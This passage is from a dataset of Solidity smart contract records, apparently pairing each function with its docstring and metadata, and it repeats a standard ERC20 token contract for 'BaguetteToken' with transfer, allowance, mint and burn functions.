* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | totalSupply | function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
1958,
2063
]
} | 11,266 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | balanceOf | function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
| /**
* @dev See {IERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
2121,
2245
]
} | 11,267 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | transfer | function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
2453,
2631
]
} | 11,268 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | allowance | function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See {IERC20-allowance}.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
2689,
2845
]
} | 11,269 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | approve | function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
2987,
3159
]
} | 11,270 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
